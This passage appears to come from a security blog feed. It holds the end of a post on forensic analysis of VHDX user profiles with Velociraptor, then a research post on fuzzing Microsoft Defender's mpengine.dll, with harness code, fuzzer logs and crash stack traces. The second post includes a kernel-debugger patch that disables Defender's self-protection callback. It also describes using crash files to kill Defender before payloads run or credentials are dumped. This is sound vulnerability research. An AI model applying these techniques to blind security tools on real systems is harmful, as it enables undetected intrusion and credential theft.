Start-Process -FilePath '.\Velociraptor.exe' -ArgumentList '—config client.config.yaml —config.client-writeback-windows="velociraptor_vhdx.writeback.yaml" —config.client-local-buffer-filename-windows="C:\Windows\Temp\velociraptor_vhdx_Buffer.bin" —remap "C:\Program Files\Velociraptor\velociraptor_vhdx_remapping.yaml" —config.client-labels=remapped_profile client' -WorkingDirectory 'C:\Program Files\Velociraptor' -WindowStyle Hidden

Once launched, the virtual client behaves like any standard Velociraptor endpoint, but its file system and registry access are redirected to the contents of the mounted VHDX. This enables seamless browsing of the virtual profile via the Virtual File System (VFS).

It also allows running existing artefacts or any other profile-level checks.

This virtual client is not persistent. If the system reboots or the client crashes, the process must be relaunched. Fortunately, this can be done using the same artefact described later in this post.

Let's Scale Up

With a single virtual client successfully analysing one user profile, the next logical step is to scale the approach. During real-world incidents, it is common to have multiple users to investigate. Investigating each profile manually is inefficient, so automation and parallelisation become essential.
However, running multiple virtual Velociraptor clients on the same host introduces performance considerations. In our tests, we evaluated three strategies for scaling up to 1,000 user profiles (each stored in a ~2 GB VHDX file).

All in One Remapping

This approach loads all VHDX files into a single remapping configuration, resulting in a YAML file about 2.6 MB in size. While ideally efficient, it caused instability; the virtual client crashed during execution of simple artefacts (e.g., Generic.Client.Info), probably due to too many VHDX files being open simultaneously, exceeding system limits.

One-to-One Clients

Here, we spun up one virtual Velociraptor client per user profile. This would work best as each profile has its own virtual client, which eases the logic. However, this resulted in excessive system resource usage and hundreds of active processes, which is not sustainable for large-scale investigations.

Batching: The Optimal Middle Ground

The most effective approach was to launch multiple virtual clients, each handling a batch of 40 profiles. This method balances load across processes and avoids overwhelming system resources.

With this configuration, we analysed the UserAssist of 1,000 VHDX files in under 30 seconds.

Use a batching strategy tuned to your environment (e.g. 20–50 profiles per client). The optimal batch size will depend on your hardware and the size of the VHDX files.

Artefacts

The artefacts have been divided into four main functions: the initial setup, the creation of the remapping configuration file, the virtual Velociraptor client runner, and the virtual Velociraptor client remover.
To streamline the investigation of VHDX-based user profiles, we developed a suite of Velociraptor artefacts to automate the entire process, from configuration to client execution and teardown. These artefacts fall into four primary categories:

Server setup: allow the whole setup to work
Configuration builder: generates remapping YAML files for virtual clients
Virtual client runner: launches Velociraptor processes with profile mappings
Cleanup manager: shuts down virtual clients and removes config artefacts

Windows.Sys.Users (Override)

This custom override of the standard Windows.Sys.Users artefact handles both traditional systems and virtual clients. It determines which enumeration logic to use based on a label assigned to the client (e.g. remapped_profile).
Parameters:

remoteRegKey: Location of the registry key holding the profile list.
labelName: Client label that signals the use of VHDX-based enumeration.

In standard mode, it enumerates from the Windows registry. For virtual clients, it uses a glob search for C:\Users\*\NTUSER.DAT, indicating valid user hives within mounted VHDX files.

Windows.Vhdx.RemapConfigBuilder

This artefact generates the remapping configuration files required by each virtual Velociraptor client. It automatically detects user profiles, organises them into batches, and writes the YAML files to disk.
Parameters:

vhdxFolderPath: Directory containing VHDX profile files.
usernameExtractor: Regex used to extract usernames from filenames.
user: Optional filter to restrict which profiles to process.
virtualHostname: Hostname to assign to the virtual clients.
batchSize: Number of profiles per virtual client.
vhdxOffset: NTFS start offset inside VHDX (default: 1048576).

The artefact creates a Vhdx/Remapping directory within the Velociraptor staging directory and populates it with one YAML file per batch. Filenames are sorted using the first extracted username for easy lookup. Internally, the artefact uses:

Shadow remapping for data, raw_reg, and zip accessors
Mount remapping for ntfs, file, auto, and registry accessors

Once executed, the artefact will list the path of the created profiles in the results section.

Windows.Vhdx.VirtualClientRunner

This artefact launches one Velociraptor process per remapping file, effectively simulating a client that represents a set of user profiles.
Parameters:

customLabel: Label to assign to virtual clients (must match label used in Windows.Sys.Users).
remappingFile: One or more remapping YAML files to launch.

It creates a subdirectory Vhdx/Writeback for temporary writeback data. Each remapping file is passed into a PowerShell process that starts the virtual client. Once executed, the artefact lists all successfully started virtual clients.

Windows.Vhdx.VirtualClientRemover

This artefact stops running virtual clients and optionally deletes all related configuration files.
Parameters:

RemappingFile: Specific remapping file or directory to target.
RemoveConfiguration: If enabled, deletes Vhdx folder and its subfolders.
ReallyKillProcess: If enabled, terminates running Velociraptor processes.

It searches for running clients based on remapping file usage and performs cleanup accordingly.

Security Considerations

All testing described in this research was conducted on offline VHDX files, that is, files no longer actively managed by services like Citrix or Windows profile management tools.
In live environments, where VHDX profiles may still be in use or mounted, several risks should be considered:

Writeback conflicts: If Velociraptor or the OS attempts to write to an active VHDX file, it may result in data corruption or race conditions.
Profile locking: Some virtualisation platforms may lock VHDX files during use, preventing remapping or causing artefact failures.
System performance: Mounting and scanning a large number of VHDX files can place a significant load on the host system.

Recommendations:

Perform investigations on copies of VHDX files whenever possible.
Avoid using this approach directly on live Citrix or VDI environments without controlled testing.
Start with small user subsets and adjust batch size based on your environment's capacity.
Monitor resource usage (I/O, memory, open handles) when scaling beyond hundreds of profiles.

While we successfully analysed 1,000 small (2 GB) VHDX profiles in under a minute, larger profiles or more aggressive batching may introduce bottlenecks. Tailor your approach to match the capabilities and constraints of your infrastructure.

Availability on the Velociraptor Artifact Exchange

The entire VHDX Suite, including all artefacts presented in this article, is now available directly on the Velociraptor Artifact Exchange, the official community platform for sharing and maintaining Velociraptor artefacts.

This means you can easily install, review, or adapt these artefacts within your existing Velociraptor deployment without manual import. Publishing them through the Exchange also ensures they are peer-reviewed and accessible to the wider DFIR community, supporting transparency and collaboration.

If you wish to explore, test, or contribute improvements, simply search for the VHDX Suite by name on the Exchange portal or use the built-in Velociraptor GUI integration to fetch them directly.

Conclusion

This VHDX Velociraptor artefact suite provides a scalable and efficient method for conducting forensic investigations across user profiles stored in VHDX files. By leveraging virtual clients with remapped environments, analysts can reuse standard artefacts, such as UserAssist or NTUSER.DAT parsers, without modification.

In our testing, this approach enabled the analysis of over 1,000 VHDX profiles in under a minute, significantly reducing the effort and complexity traditionally associated with VHDX triage.
While further validation is recommended in live or larger-scale environments, this methodology opens the door to high-volume, profile-level investigations using familiar DFIR tooling, without sacrificing speed or forensic integrity.

The VHDX Suite artefacts featured in this post are now available on the Velociraptor Artifact Exchange, enabling practitioners to deploy and experiment with this workflow directly within their own environments.

Attacking EDRs Part 4: Fuzzing Defender's Scanning and Emulation Engine (mpengine.dll)

Manuel Feifel — Fri, 23 May 2025 00:00:00 GMT

This blog post is part of a series analyzing the attack surface for Endpoint Detection and Response (EDR) solutions by p0w1_. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 (this post) describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction

Microsoft Defender (and Defender for Endpoint) is a very interesting target for attackers. It's installed by default, runs as SYSTEM, has 1-click remote attack surface and has a vast codebase that parses and unpacks numerous file formats, making it prone to memory corruption vulnerabilities. Despite this, it does not receive much attention from public vulnerability researchers.

Tavis Ormandy from Google Project Zero was one of the first to look into it and find an exploitable vulnerability CVE-2017-8558. He created a DLL loader on Linux to fuzz it called loadlibrary because at that time, no suitable Windows fuzzer for this target was available. Another RCE is CVE-2021-34522. Afterwards, relatively little research or vulnerabilities were published, which motivated me to explore this target.

2. Summary

Microsoft Defender and Defender for Endpoint include a local analysis engine mpengine.dll, to identify potentially malicious files. This engine performs static checks and uses emulation environments for different file types. This target was fuzzed on Windows mainly using the snapshot fuzzer WTF. Additionally, kAFL/NYX and Jackalope were tested. WTF found nine different bugs (OOB-reads and null dereferences), some of which can be used to crash Defender(MsMpEng.exe) under normal conditions. Some bugs only lead to a crash with PageHeap enabled. However, after my analysis, none of the bugs appear to be exploitable for code execution. Therefore, these bugs can primarily be used to kill Defender, allowing subsequent malicious actions without detection or prevention. For example, a malicious file could be delivered alongside an initial access payload to kill Defender before the payload executes. Alternatively, it could be used in an internal network to disable Defender by uploading the file to a target host or share before dumping credentials.

Microsoft officially doesn't care about these vulnerabilities and responds with the famous:

After careful investigation, this case has been assessed as moderate severity and does not meet MSRC’s bar for immediate servicing.

Despite this, they have probably quietly fixed at least one reported bug within a few weeks.

Update: Shortly after this post was published, all bugs were fixed silently.

3. How to fuzz `mpengine.dll`?

In 2017, Google Project Zero fuzzed it on Linux by creating a DLL loader and writing this harness. The original harness does no longer work on newer mpengine versions but this could be fixed by some changes. In 2022, S2W ported the harness to a newer mpengine version (though not publicly released) and fuzzed it using Jackalope.

Both approaches manually booted mpengine using RSIG_BOOTENGINE and then initiated a scan by RSIG_SCAN_STREAMBUFFER:

BootParams.ClientVersion = BOOTENGINE_PARAMS_VERSION;
BootParams.Attributes    = BOOT_ATTR_NORMAL;
BootParams.SignatureLocation = L"engine";
BootParams.ProductName = L"Legitimate Antivirus";
EngineConfig.QuarantineLocation = L"quarantine";
EngineConfig.Inclusions = L"*.*";
EngineConfig.EngineFlags = 1 << 1;
BootParams.EngineInfo = &EngineInfo;
BootParams.EngineConfig = &EngineConfig;
KernelHandle = NULL;
__rsignal(&KernelHandle, RSIG_BOOTENGINE, &BootParams, sizeof BootParams) != 0

[...]

ScanParams.Descriptor        = &ScanDescriptor;
ScanParams.ScanReply         = &ScanReply;
ScanReply.EngineScanCallback = EngineScanCallback;
ScanReply.field_C            = 0x7fffffff;
ScanDescriptor.Read          = ReadStream;  //The fuzzing payload is read by this function
ScanDescriptor.GetSize       = GetStreamSize;
ScanDescriptor.GetName       = GetStreamName;
__rsignal(&KernelHandle, RSIG_SCAN_STREAMBUFFER, &ScanParams, sizeof ScanParams)

The question for me was: does this actually scan the content in the exact same way as when a file or stream is scanned under normal operating conditions? Perhaps there are other configurations, or it scans files differently than streams?

While browsing mpengine.dll in IDA, I noticed many configuration options that could influence fuzzing results if they differed from a real environment:

Therefore, I decided to use a different approach by using snapshot fuzzing with WTF. This way, mpengine.dll is already booted and configured identically to a real environment. Additionally, a file-based scan can be used instead of a stream when taking a snapshot after initiating a file scan. An overview of the steps to use WTF are already described in Part 2, Section 3

A manual file scan for Defender can be triggered using MpCmdRun.exe. However, this does not trigger the scan in the same process but instead sends a RPC request and then uses the exported function rsignal to initiate the scan within mpengine.dll loaded by MsMpEng.exe.

The next step is to debug Defender in order to understand where the scans occur.

3.1 Debugging Defender

The target process that needs to be debugged is MsMpEng.exe. However, AVs/EDRs have self-protection features to prevent debugging or code injection.

There are two main options to debug it:

1.) Use a user mode debugger and bypass restrictions

Use PPLControl to elevate the debugging process to PPL-WinSystem. Afterwards, this process can access other PPL processes, such as Defender's.

However, kernel callbacks still prevent access to MsMpEng.exe. These can be removed by overwriting a central callback function in the Defender kernel driver WdFilter.sys using WinDBG as a kernel debugger:

0: kd> a WdFilter!MpObPreOperationCallback
fffff807`1e5cd100 xor eax,eax
fffff807`1e5cd102 ret
fffff807`1e5cd103 
0: kd> u WdFilter!MpObPreOperationCallback
WdFilter!MpObPreOperationCallback:
fffff807`1e5cd100 31c0            xor     eax,eax
fffff807`1e5cd102 c3              ret
fffff807`1e5cd103 284883          sub     byte ptr [rax-7Dh],cl
fffff807`1e5cd106 7a08            jp      WdFilter!MpObPreOperationCallback+0x10 (fffff807`1e5cd110)
fffff807`1e5cd108 00742e48        add     byte ptr [rsi+rbp+48h],dh
fffff807`1e5cd10c 8b05de33feff    mov     eax,dword ptr [WdFilter!ExDesktopObjectType (fffff807`1e5b04f0)]
fffff807`1e5cd112 488b4a10        mov     rcx,qword ptr [rdx+10h]
fffff807`1e5cd116 483b08          cmp     rcx,qword ptr [rax]

Afterwards, a debugger can be attached regularly:

2.) Use WinDBG as a kernel debugger and follow the MsMpEng.exe process.

After attaching WinDBG (e.g., with KDNET), set the debugger's context to the target process:

kd> !process 0 0 MsMpEng.exe
PROCESS ffffb385a10d0080
    SessionId: 0  Cid: 0df8    Peb: 22c10a0000  ParentCid: 0288
    DirBase: 1a431e000  ObjectTable: ffffe08888ed27c0  HandleCount: 452.
    Image: MsMpEng.exe

kd> .process /i /p ffffb385a10d0080
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff805`829fedc0 cc              int     3
kd> .reload /user
Loading User Symbols
.....................................................
kd> lmu
start             end                 module name
00007ff7`15a50000 00007ff7`15a6f000   MsMpEng    (deferred)             
00007ffe`52430000 00007ffe`5247d000   wscapi     (deferred)             
00007ffe`59090000 00007ffe`5a29f000   mpengine   (deferred)   

kd> bp /p ffffb385a10d0080 mpengine!UfsScannerWrapper::ScanFile
kd> g
Breakpoint 1 hit
mpengine!UfsScannerWrapper::ScanFile:
0033:00007ffe`5926fba0 48895c2408      mov     qword ptr [rsp+8],rbx

Now, you can use ret-sync to synchronize the debugger's position with a static analysis tool like IDA Pro. This allows stepping through decompiled code, which is very helpful:

4. Fuzzing

4.1 WTF Snapshot Position

The next step is to take a snapshot at a good position that primarily executes the interesting target code. Fortunately, public debug symbols for Mpengine.dll are typically released some days or weeks after a new version. However, this DLL is almost 20MB and it's not easy to navigate. Therefore, I used ProcMon from Sysinternals to identify the code location where the target file is read.

The best position would be after the file content is loaded into memory and passed as an argument to a scan function, like so:

res = readFile(path);
scanFile(res.content, res.size);  //Take snapshot on this line

However, the actual code is not that straightforward. I decided to take the snapshot before the file is read and then inject the fuzzing payloads in a virtual implementation of ReadFile in WTF. The initial problem was, that the code called functions which accessed hardware such as the file system. This is not available in WTF as it only emulates memory and CPU. WTF already implements some virtual file system functions in fshooks.cc, but additional ones needed to be added. At the end the snapshot was taken within mpengine!SysIo::OpenFile after a call to FilterOplock::AcquireOplock because this function was not implemented virtually.

__int64 __fastcall SysIo::OpenFile(
        SysIo *this,
        wchar_t *file_path,
        unsigned int a3,
        unsigned int access_flags,
        unsigned int share_mode,
        struct IFile **a6,
        struct IFile *a7)
[...]

Snapshot position at mpengine+0x15469A (within SysIo::OpenFile)

4.2 WTF Harness

Writing a harness for WTF (see dummy-template) differs from typical fuzzers like AFL++, WinAFL, Jackalope, or LibFuzzer. Usually, the harness needs to set up the target and call the target function. For WTF, it typically only needs to inject the fuzzing payload and size at the correct memory location. In this case, however, the fuzzing payload needs to be provided to the ReadFile function.

The following code shows the cropped code:

bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
  [...]
  std::u16string GuestFile = uR"(\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe)";
  
  g_FsHandleTable.MapExistingGuestFile(GuestFile.c_str(), Buffer, BufferSize);
  //g_FsHandleTable.AddHandle(HANDLE(0x97c), GuestFileFile); //Alternatively, if the file is already opened, it can be mapped to a handle.
}

The debug print statements of the hooked file functions confirm that the file is opened and read correctly:

PS > .\wtf.exe run --name defender_file --input .\test --state .\state2_MpEngine1.1.2310_PHenabled_locked\ 
Setting @fptw to 0xff'ff.
Initializing the debugger instance.. (this takes a bit of time)
Setting debug register status to zero.
Setting debug register status to zero.
DEBUG: 0
Could not set a breakpoint at hal!HalpPerfInterrupt.
Failed to set breakpoint on HalpPerfInterrupt, but ignoring..
Running .\test
fs: Mapping already existing guest file \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe with filestream(16483)
fs: ntdll!NtCreateFile(FileHandle=0x9f0c8fc848, DesiredAccess=0x120089, ObjectAttributes=0x9f0c8fc880 (\??\C:\Users\User\Downloads\test-files\aspack_Hash.exe), IoStatusBlock=0x9f0c8fc870, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7 (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE), CreateDisposition=0x1 (FILE_OPEN), CreateOptions=0x160 (FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_COMPLETE_IF_OPLOCKED), EaBuffer=0x0, EaLength=0x0)
fs: IsBlacklisted: false
fs: Exists: true
fs: Opening 0x7ffffffe for \??\C:\Users\User\Downloads\test-files\aspack_Hash.exe
fs: ntdll!NtQueryVolumeInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc9b0, FsInformation=0x9f0c8fc9e0, Length=0x8, FsInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc980, FileInformation=0x9f0c8fc990, Length=0x28, FileInformationClass=0x4)
fs: ntdll!NtQueryInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fca20, FileInformation=0x9f0c8fca30, Length=0x18, FileInformationClass=0x5)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc848, FileInformation=0x9f0c8fc840, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc870, Buffer=0x231017abfe0, Length=0x1000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8fc838, FileInformation=0x9f0c8fc830, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8fc860, Buffer=0x231017aefe0, Length=0x2000, ByteOffset=0x0, Key=0x0)
fs: ntdll!NtSetInformationFile(FileHandle=0x7ffffffe, IoStatusBlock=0x9f0c8f9de8, FileInformation=0x9f0c8f9de0, Length=0x8, FileInformationClass=0xe)
fs: nt!NtReadFile(FileHandle=0x7ffffffe, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x9f0c8f9e10, Buffer=0x231017acfe0, Length=0x4000, ByteOffset=0x0, Key=0x0)

In order to debug the fuzzing process, it is useful to set breakpoints in interesting functions to see if they are called:

bool Init(const Options_t &Opts, const CpuState_t &) {
  if (!g_Backend->SetBreakpoint("mpengine!UfsScannerWrapper::ScanFile", [](Backend_t *Backend) {
        DebugPrint("Called ScanFile()\n");          
      })) {
    DebugPrint("Failed to SetBreakpoint mpengine!UfsScannerWrapper::ScanFile\n");
    return false;
  }

Additionally, the coverage output can be loaded in Lighthouse or tenet-traces can be created.

During tests with a small corpus, too many context switches (changes to the CR3 register) occurred. These negatively impact performance in snapshot fuzzers. Most could be resolved by skipping certain functions. For example, mpengine!IsTrustedFile attempted to load certificate files from disk to verify trust. Such functions can be skipped:

if (!g_Backend->SetBreakpoint("mpengine!IsTrustedFile", [](Backend_t *Backend) {
        DebugPrint("mpengine!IsTrustedFile Hook SKIP 0x0");
        Backend->SimulateReturnFromFunction(0);
      })) {
    DebugPrint("Failed to SetBreakpoint IsTrustedFile");
    return false;
  }

The fuzzing speed with the BochsCPU backend was impractically slow, but using KVM, I achieved 30-100 exec/s on a modern server CPU depending on the file size and type. The target executes billions of instructions depending on the payload, so really high speeds cannot be expected. Even on a real system, some files can take multiple seconds to scan.

4.3 Initial Corpus

A large and diverse corpus is essential for this target, as it parses numerous file types, including packed files that coverage-guided fuzzing alone might not effectively explore without good initial seeds. The files which are interesting for Defender are actual malware. And the perfect place to find a huge amout of malware is VX-Underground.

Seeding the initial corpus took multiple days, but it resulted in a good coverage increase, with over 10,000 files yielding distinct coverage.

4.4 Fuzzing with WTF

Snapshots were taken with and without PageHeap enabled for MsMpEng.exe. As the target is rather slow and memory-heavy, the speed without PageHeap is significantly higher. Therefore, fuzzing was first run without PageHeap to explore coverage and subsequently with PageHeap to catch more bugs.

./wtf master --name defender_file --inputs inputs --runs 100000000  --max_len 100000 
Iterating through the corpus..
Sorting through the 219701 entries..
#8151 cov: 56117 (+56117) corp: 1503 (9.9kb) exec/s: 815.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 0 uptime: 1.4min
#14182 cov: 67734 (+11617) corp: 2430 (31.4kb) exec/s: 709.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 28 uptime: 1.6min
#19470 cov: 72835 (+5101) corp: 3103 (58.8kb) exec/s: 649.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 47 uptime: 1.7min
#23475 cov: 79492 (+6657) corp: 3540 (85.0kb) exec/s: 586.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 49 uptime: 1.9min
#25946 cov: 81771 (+2279) corp: 3774 (102.4kb) exec/s: 518.0 (23 nodes) lastcov: 0.0s crash: 0 timeout: 0 cr3: 56 uptime: 2.0min
#29398 cov: 85851 (+4080) corp: 4156 (136.9kb) exec/s: 489.0 (23 nodes) lastcov: 0.0s crash: 8 timeout: 0 cr3: 63 uptime: 2.2min
#33006 cov: 88877 (+3026) corp: 4487 (173.8kb) exec/s: 471.0 (23 nodes) lastcov: 0.0s crash: 9 timeout: 0 cr3: 66 uptime: 2.4min
#35472 cov: 92594 (+3717) corp: 4784 (213.7kb) exec/s: 443.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 70 uptime: 2.5min
#37112 cov: 94070 (+1476) corp: 4950 (239.0kb) exec/s: 412.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.7min
#38765 cov: 94880 (+810) corp: 5103 (264.7kb) exec/s: 387.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 2.9min
#39673 cov: 95412 (+532) corp: 5186 (279.8kb) exec/s: 360.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 71 uptime: 3.0min
#41523 cov: 96330 (+918) corp: 5304 (302.9kb) exec/s: 346.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 78 uptime: 3.2min
#43117 cov: 97747 (+1417) corp: 5439 (331.6kb) exec/s: 331.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 93 uptime: 3.4min
#45219 cov: 99233 (+1486) corp: 5572 (363.2kb) exec/s: 322.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.5min
#47520 cov: 100210 (+977) corp: 5736 (404.8kb) exec/s: 316.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 94 uptime: 3.7min
#49300 cov: 101207 (+997) corp: 5890 (447.6kb) exec/s: 308.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 95 uptime: 3.9min
#50935 cov: 102396 (+1189) corp: 6079 (502.5kb) exec/s: 299.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 98 uptime: 4.0min
#51692 cov: 103436 (+1040) corp: 6155 (525.7kb) exec/s: 287.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.2min
#51910 cov: 103602 (+166) corp: 6167 (529.3kb) exec/s: 273.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 99 uptime: 4.4min
#52149 cov: 103634 (+32) corp: 6178 (532.7kb) exec/s: 260.0 (23 nodes) lastcov: 0.0s crash: 10 timeout: 0 cr3: 100 uptime: 4.6min

./wtf fuzz --name defender_file  --state state2_MpEngine1.1.2310_PHenabled_locked --backend kvm

This is a fuzzing run of the already processed seeds from VX-Underground. The speed drops as the input file size increases, consequently making scanning take longer.

The maximum coverage of mpengine.dll I achieved before the fuzzer stopped at the end of the function mpengine!UfsScanFileCmd::Execute was around 154,000 basic blocks.

The fuzzing results and analysis of the crashes are described in Section 5. Results.

4.5 Fuzzing with kAFL/NYX

Since WTF, by default, includes relatively simple mutation strategies, I decided to use kAFL, which incorporates more advanced techniques like Redqueen. This can help fuzz through complex cmp instructions that are unlikely to be passed accidentally. I hoped this would yield more coverage.

Harness

As a harness I adapted mpclient.c from loadlibrary. Initially, I wanted to trigger a normal scan on the running system and then set hooks at the snapshotting position. However, there was no documentation on how to fuzz it by injecting and then triggering the kAFL interaction by using hooks. Recently, a new way of using NYX called Hyperhook is available. Using Hyperhook, a classic harness to initialize and call the target code is not necessary, and Defender could potentially be fuzzed in its original environment more easily.

The code of the harness based on mpclient.c is on Github: mpclient_defender_harness_kafl.c

A version to test the harness without hypercalls is also available: mpclient_defender_harness_withoutHypercalls.c

Initially, I used kAFL on a Hetzner server with an Intel Xeon Gold 5412U CPU, but this led to frequent libxdc_decode errors:

These errors did not occur in a previous setup on an older laptop. As the kAFL maintainers had not encountered these errors on other targets, I tested different CPUs on AWS bare-metal systems. Intel Xeon CPUs from the 3rd generation and newer seem to cause these errors. On Intel Xeon 1st and 2nd generation CPUs, the problem did not manifest.

Another problem is a memory consumption issue described in this GitHub Issue. The QEMU instances consume progressively more memory and eventually die. Reducing the number of running instances (to provide more memory per core) and periodically restarting the fuzzing process (e.g., after several days) helped mitigate this.

I used kAFL with Redqueen and Grimoire enabled and ran it for a month. It found some new coverage, but very little overall, and no new crashes. This was surprising, as I had expected better results from these advanced mutation techniques.

4.6 Fuzzing with Jackalope

As I already had a harness to trigger a scan using RSIG_SCAN_STREAMBUFFER from the kAFL harness, I wanted to test Jackalope as I hadn't used it before. However, Jackalope proved less suitable for this target because the initialization (loading mpengine.dll) is time-consuming, taking about 10 seconds per launch.

The code of the harness based on mpclient.c is on Github: jackalope_defender_harness_stream.c

Initially, the initialization happened for every single run because Jackalope restarts on new coverage even if you use persistent fuzzing. Therefore, -clean_target_on_coverage 0 is necessary.

However, the target still needed to reload frequently due to timeouts with some inputs. If the timeout was set low, the target reloaded frequently. If set high, it spent too much time on slow inputs. Additionally, many crashing files were already in the seeds, causing further reloads. Ultimately, it was too slow, making a snapshot fuzzer the better choice for mpengine.

PS C:\fuzzing\Jackalope\build\Release> .\fuzzer.exe -crash_retry 0 -generate_unwind -coverage_retry 0 -clean_target_on_coverage 0 -in seeds -out out -t1 100000 -t 10000 -delivery shmem -instrument_module mpengine.dll -target_module jackalope_defender_harness_stream.exe -target_method scanFile -nargs 0 -iterations 1000 -persist -loop -nthreads 1 -- jackalope_defender_harness_stream.exe "@@"
Fuzzer version 1.00
156019 input files read
Running input sample seeds\000132616d55e4bd0866cb5ed828dc88
setup shared mem shm_fuzz_31364_1
[+] Starting... jackalope_defender_harness_stream.exe
[+++++++] NEW START!
laoded dll
got rsignal addr 5fc0e2e0
size BootParams: 1b8

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 1

Total execs: 1
Unique samples: 0 (0 discarded)
Crashes: 0 (0 unique)
Hangs: 0
Offsets: 0
Execs/s: 0

5. Results

The fuzzing was performed on an older version of mpengine.dll (1.1.23100.2009) as I had started reversing it some time ago and continued fuzzing later. However, most crashes could be reproduced on the new version 1.1.25040.1 from April 2025. Crash1 was likely fixed as Crash1 and Crash2 were reported to MSRC but both "did not meet MSRC’s bar for immediate servicing". Crash5 and Crash6 no longer trigger a crash in the latest version; I did not verify if the underlying issue was fixed or if other code changes merely altered the path.

To reproduce these crashes, enable full PageHeap for MsMpEng.exe. This can be done by booting Windows in Safe Mode, making the change, and then restarting. Otherwise, access is blocked. The files are available here.

Here is a list of the identified bugs (note: mpengine.dll base address was 0x7ffcdbab0000):

crash1-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc670b03

Crashes without PageHeap in most attempts. It was likely fixed in an unknown version after being reported to MSRC. This is the only bug which triggerd in a real environment but not with the harness using RSIG_SCAN_STREAMBUFFER.

File type: Java archive data (JAR)

mpengine!strncmp+0x13
mpengine!RpfAPI_strncmp+0xa3
mpengine!netvm_method_call+0x1b2
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!scan_rpf+0x6c
mpengine!kcrce_scanfilelast+0x42
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash2-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbba5fdf

Null Pointer Dereference. Reliably crashes Defender.

File type: unknown

mpengine!FilteredTrie<unsigned long,FilteredTrieSerializer<unsigned long>,1>::match+0x603
mpengine!hstr_internal_search_worker+0x108
mpengine!hstr_internal_search+0x7e
mpengine!DmgScanner::Scan+0x682
mpengine!dmg_scanfile+0x63
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash3-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a4acb

OOB Read of 4 bytes (reserved but unallocated memory). Only crashes with PageHeap.

File type: PE32 executable (GUI) Intel 80386, for MS Windows, 3 sections

mpengine!memcpy_repmovs+0xb 05f4acb
mpengine!CachedFile::InternalWrite+0x376  002f6266
mpengine!CachedFile::Write+0x3c 002f5edc
mpengine!vfo_write+0x92 00163822
mpengine!RpfAPI_vfo_write+0x5a  08b2c1a
mpengine!netvm_method_call+0x1b2  08b5ad6
mpengine!netvm_emulate+0x758  0010d468
mpengine!netvm_parse_routine+0x37e
mpengine!netvm_method_call+0x9b
mpengine!netvm_emulate+0x758
mpengine!netvm_parse_routine+0x37e
